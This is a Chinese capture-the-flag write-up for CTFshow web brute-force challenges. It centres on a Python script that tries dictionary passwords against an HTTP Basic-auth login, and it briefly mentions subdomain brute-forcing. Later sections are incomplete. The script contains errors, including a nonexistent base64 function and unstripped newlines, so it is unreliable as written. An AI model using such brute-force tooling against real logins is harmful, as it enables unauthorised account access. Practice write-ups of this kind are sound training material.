CTFshow-Web入门-爆破writeup

Door Lv1

Web21

Hint: 爆破什么的,都是基操

本题提供了一个dic.zip,里面存放着一个最新网站后台密码破解字典,打开之后发现这个txt文件中每一种可能的密码都是按行分布的。

进入靶机,发现直接就是登录界面了。打开开发者控制台,然后好好的看一下网络协议头、传输正文以及Cookie存储,前面信息搜集的基础不要忘了。

好吧,看来这可能需要我们先随便输入一点什么触发网络传输。我们先进行以下输入

用户名:admin

密码:123456

然后登录就失败了,也没指望一次成功,注意到此时网络已经捕获到对应的信息了,可以注意到这个数据报出了401错误,这是证明其登录失败的状态码。

web21

然后查看这条活动的请求与响应情况,注意到有条乱码,查看原始信息,原来是编码问题。看来以后需要我们多多从原始文本入手。

目前我们需要猜测出用户密码,因此需要找到我们能够注入猜测请求的点。此时,我们是消费者,因此我们选择在请求标头中寻找,然后注意到以下内容:

Authorization: Basic YWRtaW46MTIzNDU2

右侧看上去像一个Base64编码,尝试解密成功,得到解码结果为

admin:123456

看来我们需要组织的Payload存在以下要求:

  • 存在Authorization协议头
  • 此协议头内容为”Basic {Base64编码后的实际登录凭证}”
  • 实际登录凭证格式为”{用户名:密码}”,注意符号均为英文符号
  • 使用GET请求方式

密码已经有字典供我们使用,而用户名,我们还是先猜测admin吧。然后我们需要批量自动化对目标网址进行请求,那就得借助计算机的力量了。

本Writeup将使用Python写网络请求脚本解决这个问题。

请求脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 首先,引入网络请求模块
import requests
# 然后,注意到有Base64编解码,而Python正好提供了相关接口
import base64
# 最后,记住请求是要有一定间隔的,不然防守方的DDoS策略会把你斩杀的,引入时间接口
import time

# 定义需要请求的url
url = 'https://31d1b874-f275-46f9-a2f2-4c2af62167d8.challenge.ctf.show/index.php'

# 然后开始构造Payload
# 先从那个文件中获取所有的密码可能
passwords = []

with open("1.txt", "r") as file:
while True:
# 按行读入
data = file.readline()
# 将数据放入passwords的队列
if data:
passwords.append(data)
else:
break

# 然后结合Base64编码构造Payload
for password in passwords:
base_authentication = 'admin:' + password
# 插入相关协议头
header = {
# 这里面反复使用utf-8编码解码是为了保证通用性
# 总有几个破IDE老惦记着那GBK
'Authorization': 'Basic {}'.format(base64.base64encode(base_authentication.encode('utf-8').decode('utf-8')))
}
# 构建GET请求并发送
res = requests.get(url, headers = header)
# 保持间隔,不然会被视为DDoS
time.sleep(0.2)
# 正常的请求肯定不返回401
if res.status_code != 401:
print(res.text)
# 找到了就停止,别浪费时间了
# print(password) # 也可以看一下这个时候的password是哪一个
break

执行之后,找到结果,发现此时返回的就是flag

如果将上示代码中被注释的代码解除注释,还可以得到这个环境的密码为shark63

Web22

Hint: 域名也是可以爆破的,试着爆破ctf.show这个子域名

此题已经成为了历史,记住当面对某一个子域名时也可以进行子域名的爆破,这一般是渗透测试的常用思路。

Web23

Hint: 还爆破,这么多代码,告辞!

很好,现在我看到了一段代码。先考察这段代码的逻辑

这是一段php的代码,而且将报错等级调整为0,即发生了报错也不会输出

然后,会读入flag.php文件中的内容,应该就是包含了flag内容的文件。接下来就是一个条件判断。

前面的内容无非就是一些提高难度的点(不报具体错误给消费者,提高试探的难度),重点还是在那个条件判断中。

Web24

Web25

Web26

Web27

Web28

  • 标题: CTFshow-Web入门-爆破writeup
  • 作者: Door
  • 创建于 : 2025-04-09 09:55:40
  • 更新于 : 2025-04-10 15:04:13
  • 链接: https://chenshi.club/posts/ace17732.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
CTFshow-Web入门-爆破writeup